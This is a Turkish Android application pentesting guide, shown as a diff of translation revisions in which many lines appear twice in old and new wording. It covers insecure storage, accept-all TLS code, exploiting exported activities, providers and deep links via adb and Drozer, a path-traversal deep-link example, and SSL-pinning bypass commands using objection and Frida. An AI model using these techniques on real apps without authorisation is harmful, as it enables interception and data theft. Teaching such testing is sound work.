**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** kurulabileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek olanı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**).
Daha fazla bilgi için:
@ -99,42 +99,42 @@ android-task-hijacking.md
**Dahili Depolama**
Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**.
Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar tarafından, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**.
1. **Statik Analiz:**
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
2. **Dinamik Analiz:**
- Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olup olmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
- Uygulama tarafından oluşturulan dosyaların üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
**Harici Depolama**
**Dış Depolama**
**Harici depolama** ile dosyalarla ilgilenirken, belirli önlemler alınmalıdır:
**Dış depolama** ile ilgili dosyalarla çalışırken, belirli önlemler alınmalıdır:
1. **Erişilebilirlik**:
- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
- Dış depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
2. **Güvenlik Endişeleri**:
- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri** harici depolamada saklamamanız önerilir.
- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir.
3. **Harici Depolamadan Veri İşleme**:
- Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
- Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
- Erişim kolaylığı göz önüne alındığında, **hassas bilgileri dış depolamada saklamamanız** önerilir.
- Dış depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir.
3. **Dış Depolamadan Veri İşleme**:
- Dış depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
- Dinamik yükleme için dış depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
- Uygulamanızın dış depolamadan yürütülebilir dosyaları alması gerekiyorsa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**.
Dış depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**.
> [!NOTE]
> Android 4.4 (**API 17**) ile birlikte, SD kartın bir dizin yapısı vardır ve bu, **bir uygulamanın yalnızca o uygulama için özel olan dizine erişimini sınırlar**. Bu, kötü niyetli uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
> Android 4.4 ile birlikte (**API 17**), SD kartın bir dizin yapısı vardır ve bu, **bir uygulamanın yalnızca o uygulama için özel olan dizine erişimini sınırlar**. Bu, kötü niyetli uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
**Açık metin olarak saklanan hassas veriler**
- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
- **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgilerin bulunması mümkündür.
- **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgilerin bulunması mümkündür.
### Kırık TLS
**Tüm Sertifikaları Kabul Etme**
Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmese bile:
Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı kod satırlarıyla eşleşmediğinde bile:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -149,14 +149,14 @@ Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hard
**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı**
Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash** kullanılıyorsa, tuz ile birlikte **brute-force** **dirençli** hash'ler kullanılmalıdır.
Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır.
### Diğer Kontroller
- Saldırganların tersine mühendislik çalışmalarını zorlaştırmak için **APK'yı obfuscate** etmek önerilir.
- Uygulama hassas ise (banka uygulamaları gibi), **mobilin köklü olup olmadığını kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir.
- Uygulama hassas ise (banka uygulamaları gibi), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir.
- Uygulama hassas ise (banka uygulamaları gibi), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**.
- **APK'yı obfuscate etmek** saldırganların tersine mühendislik çalışmalarını zorlaştırmak için önerilir.
- Uygulama hassas ise (örneğin banka uygulamaları), **mobilin köklenip köklenmediğini kontrol etmelidir** ve buna göre hareket etmelidir.
- Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir.
- Uygulama hassas ise (örneğin banka uygulamaları), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**.
- APK'yı oluşturmak için hangi derleyici/paketleyici/obfuscator kullanıldığını kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın.
### React Native Uygulaması
@ -185,9 +185,9 @@ Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-met
Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**.
### Sızdırılan Sırlar
### Sızdırılan Gizli Bilgiler
Bir uygulama, içinde keşfedebileceğiniz sırlar (API anahtarları, şifreler, gizli URL'ler, alt alan adları...) içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz.
Bir uygulama, içinde keşfedebileceğiniz gizli bilgiler (API anahtarları, şifreler, gizli URL'ler, alt alan adları...) içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz.
### Biyometrik Kimlik Doğrulama Atlatma
@ -199,8 +199,8 @@ bypass-biometric-authentication-android.md
- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage`
- **Native fonksiyonlar** `native` olarak tanımlanmıştır: `public native, System.loadLibrary, System.load`
- [Native fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
- `native` olarak tanımlanan **yerel fonksiyonlar**: `public native, System.loadLibrary, System.load`
- [Yerel fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
### **Diğer Hileler**
@ -230,20 +230,20 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla
#### Bir emülatör kullanarak
- [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri ARM kütüphanelerini yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
- Kurulumunu bu sayfada öğrenin:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile **sürümü indirmek** önerilir._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile birlikte sürümü **indirin** önerilir._)
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez).
> [!NOTE]
> Herhangi bir platformda yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle, mümkünse küçük ekranlar seçin.
> Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışır. Bu nedenle, mümkünse küçük ekranlar seçin.
Genymotion'da **Google hizmetlerini** (AppStore gibi) yüklemek için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
![](<../../images/image (277).png>)
@ -259,8 +259,8 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
4. **Build numarasına** 7 kez basın.
5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız.
> Uygulamayı yükledikten sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi gerçekleştirmeyi öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz.
> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebilirsiniz.
### İstenmeyen Veri Sızıntısı
@ -269,16 +269,16 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir.
> [!WARNING]
> **Android 4.0'dan** itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
> Yine de, **hassas bilgileri günlüklememek** önerilir.
> **Android 4.0'dan** sonraki **yeni sürümlerden itibaren**, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
> Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir.
**Kopyala/Yapıştır Tamponu Önbellekleme**
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden hassas verilerin açığa çıkma riski taşır. Hassas bölümlerde, kredi kartı bilgileri gibi, veri sızıntılarını önlemek için **kopyala/yapıştır** işlevlerini devre dışı bırakmak önemlidir.
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebildiği** için hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi veri sızıntılarını önlemek için kritik öneme sahiptir.
**Çökme Günlükleri**
Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlük kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**.
@ -295,33 +295,33 @@ Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygul
Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <table_name>` ile listeleyin.
### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Servisler)
### Drozer (Saldırı Etkinlikleri, İçerik Sağlayıcıları ve Hizmetler)
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği **her şeyi** yapabilir, örneğin Androidin Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\
Drozer, **ihracat edilen aktiviteleri, ihracat edilen servisleri ve İçerik Sağlayıcıları** istismar etmek için faydalı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Androidin Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\
Drozer, **ihracat edilen etkinlikleri, ihracat edilen hizmetleri ve İçerik Sağlayıcıları** istismar etmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
### İhracat Edilen Aktiviteleri İstismar Etme
### İhracat Edilen Etkinlikleri İstismar Etme
[**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın.
[**Bir Android Etkinliği'nin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Ayrıca, bir etkinliğin kodunun **`onCreate`** metodunda başladığını unutmayın.
**Yetkilendirme atlatma**
Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edildiyse, **yetkilendirme** mekanizmalarını **atlatabilirsiniz**.
Bir Etkinlik ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir etkinlik **ihracat edildiğinde**, **ona erişmek için** **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.**
[**Drozer ile ihracat edilen aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
[**Drozer ile ihracat edilen etkinlikleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
Ayrıca adb'den bir ihracat edilen aktivite başlatabilirsiniz:
Ayrıca, adb'den bir ihracat edilen etkinliği başlatabilirsiniz:
- Paket Adı com.example.demo
- İhracat Edilen Aktivite Adı com.example.test.MainActivity
- İhracat Edilen Etkinlik Adı com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOT**: MobSF, bir aktivitede `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü niyetli olarak tespit edecektir, ancak [bu](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) nedeniyle, görünüşe göre bu yalnızca eski sürümlerde (API sürümleri < 21) tehlikelidir.
> [!NOT]
> Bir yetkilendirme atlamasının her zaman bir zafiyet olmadığını unutmayın, bu atlamanın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır.
> Bir yetkilendirme atlamanın her zaman bir zafiyet olmadığını unutmayın, bu atlamanın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır.
**Hassas bilgi sızıntısı**
@ -334,25 +334,25 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını
### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon
[**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\
İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkarma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar zayıf olabilir.
İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals**'ı test etmek de ilginçtir çünkü bunlar zayıf olabilir.
[**Drozer ile İçerik Sağlayıcılarını nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers)
### **Hizmetleri Sömürme**
[**Bir Hizmetin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
Bir Hizmetin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
[**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve **gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak...** için **dinamik olarak test etmelisiniz**.\
[**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services)
### **Yayın Alıcılarını Sömürme**
### **Broadcast Alıcılarını Sömürme**
[**Bir Yayın Alıcısının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
Bir Yayın Alıcısının eylemlerinin `onReceive` metodunda başladığını unutmayın.
[**Bir Broadcast Alıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
Bir Broadcast Alıcının eylemlerinin `onReceive` metodunda başladığını unutmayın.
Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\
[**Drozer ile Yayın Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers)
[**Drozer ile Broadcast Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers)
### **Şemaları / Derin bağlantıları Sömürme**
@ -362,7 +362,7 @@ Bir tanımlanmış **şemayı** **adb** veya bir **tarayıcı** kullanarak **aç
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Not edin ki **paket adını atlayabilirsiniz** ve mobil otomatik olarak o bağlantıyı açması gereken uygulamayı çağıracaktır._
```markup
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
@ -374,13 +374,13 @@ Uygulamada **çalıştırılacak kodu bulmak için**, derin bağlantıyla çağr
![](<../../images/image (436) (1) (1) (1).png>)
**Hassas bilgiler**
**Hassas bilgi**
Her derin bağlantı bulduğunuzda, **URL parametreleri aracılığıyla hassas veriler (şifreler gibi) almadığından emin olun**, çünkü başka bir uygulama **derin bağlantıyı taklit edebilir ve bu verileri çalabilir!**
Her derin bağlantı bulduğunuzda, **URL parametreleri aracılığıyla hassas veri (şifreler gibi) almadığından emin olun**, çünkü başka bir uygulama **derin bağlantıyı taklit edebilir ve bu veriyi çalabilir!**
**Yolda parametreler**
**URL'nin yolunda bir parametre kullanıp kullanmadığını da kontrol etmelisiniz**. Örneğin: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
**URL'nin yolunda bir parametre kullanıp kullanmadığını da kontrol etmelisiniz**: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğer yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (eğer kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve zayıf uç nokta doğru yöntemi kullanıyorsa) ve diğer zayıflıkları tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/).
**Daha fazla örnek**
@ -391,7 +391,7 @@ Bir [ilginç hata ödül raporu](https://hackerone.com/reports/855618) bağlant
- **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortada (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken ancak diğer işlemler için güvensiz kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verileri kötü niyetli varlıkların ele geçirmesinden korumaz.
- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken ancak diğer işlemler için güvenli olmayan kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
#### Sertifika Doğrulama
@ -399,7 +399,7 @@ Bir [ilginç hata ödül raporu](https://hackerone.com/reports/855618) bağlant
#### SSL Pinning
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için gereklidir. Hassas bilgileri işleyen uygulamalar için SSL Pinning uygulamak şiddetle önerilir.
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için gereklidir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulamak şiddetle önerilir.
#### Trafik İncelemesi
@ -411,7 +411,7 @@ HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek**
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur:
- **apk'yi otomatik olarak değiştirerek** SSL Pinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi yanı, SSL Pinning'i aşmak için root'a ihtiyacınız olmamasıdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
- **apk'yi otomatik olarak değiştirerek** SSL Pinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi avantajı, SSL Pinning'i aşmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
- Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **SSL Pinning'i otomatik olarak aşmak için** [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **SSL Pinning'i otomatik olarak aşmak için** **MobSF dinamik analizi** (aşağıda açıklandığı gibi) deneyebilirsiniz.
@ -429,7 +429,7 @@ Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanaca
- Frida'yı nasıl kullanacağınızı öğrenin: [**Frida eğitimi**](frida-tutorial/index.html)
- Frida ile eylemler için bazı "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Ojection, Frida kullanımını otomatikleştirmek için harika: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
